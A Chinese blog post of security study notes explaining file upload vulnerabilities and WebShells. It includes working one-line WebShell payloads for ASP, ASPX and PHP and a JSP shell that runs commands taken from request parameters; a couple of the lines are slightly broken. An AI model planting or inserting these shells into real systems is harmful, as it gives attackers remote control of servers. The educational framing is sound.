• 博客园logo
  • 会员
  • 众包
  • 新闻
  • 博问
  • 闪存
  • 赞助商
  • HarmonyOS
  • Chat2DB
    • 搜索
      所有博客
    • 搜索
      当前博客
  • 写随笔 我的博客 短消息 简洁模式
    用户头像
    我的博客 我的园子 账号设置 会员中心 简洁模式 ... 退出登录
    注册 登录

oekf

  • 博客园
  • 联系
  • 订阅
  • 管理

公告

View Post

GCsec学习(3)

目录
  • 文件上传
    • 文件上传漏洞

文件上传

文件上传漏洞

简介:现代互联网的Web应用程序中,上传文件是一种常见的功能,因为它有助于提高业务效率,如果Web应用存在文件上传漏洞,那么恶意用户就可以利用文件上传漏洞将可执行脚本程序(WebShell)上传到服务器中,获得网站的权限,然后可以进一步对服务器进行入侵,扩大控制权限。
漏洞产生原因:
上传文件时,如果服务器端没有对客户端上传的文件进行严格的检验或过滤,就容易造成可上传任意文件的情况,包括上传脚本文件(asp,aspx,php,jsp)
漏洞的危害:
非法用户可以利用上传的脚本文件控制整个网站,甚至控制服务器。这个恶意的脚本文件,又被称为WebShell,也可将WebShell脚本称为一种网页后门,WebShell脚本具有非常强大的功能,比如查看服务器目录、服务器中的文件,执行系统命令等。

  • ASP
<%eval request("x")%>//密码是‘x’
<%execute request("x")%>
  • ASPX
<%@ Page Language="Jscript"%><%eval(Request.Item["x"],"unsafe");%>
  • PHP
<?php eval($_POST['x'])?>  //比较标准的用法;不一定是post,也可以是get
<?php assert($_POST['x'];?)>  //php版本>7时不能用了
  • JSP CMD WebShall
<%  
    if("x".equals(request.getParameter("pwd")))
    {
        java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter("i")).getInp
        int a=-1;
        byte[] b=new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1)
        {
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

*文件上传漏洞的条件
首先,上传的文件能够被Web容器解释执行。所以文件上传后所在的目录要是Web容器所覆盖到的路径
其次,用户能够从Web上访问这个文件。如果文件上传了,但用户无法通过Web访问,或者无法使得Web容器解释这个脚本,那么也就不能被称之为漏洞
最后,用户上传的文件若被安全检查、格式化、图片压缩等功能改变了内容,也可能导致攻击不成功

posted on 2022-08-06 20:10  oekf  阅读(112)  评论(0)    收藏  举报

刷新页面返回顶部
 
博客园  ©  2004-2025
浙公网安备 33010602011771号 浙ICP备2021040463号-3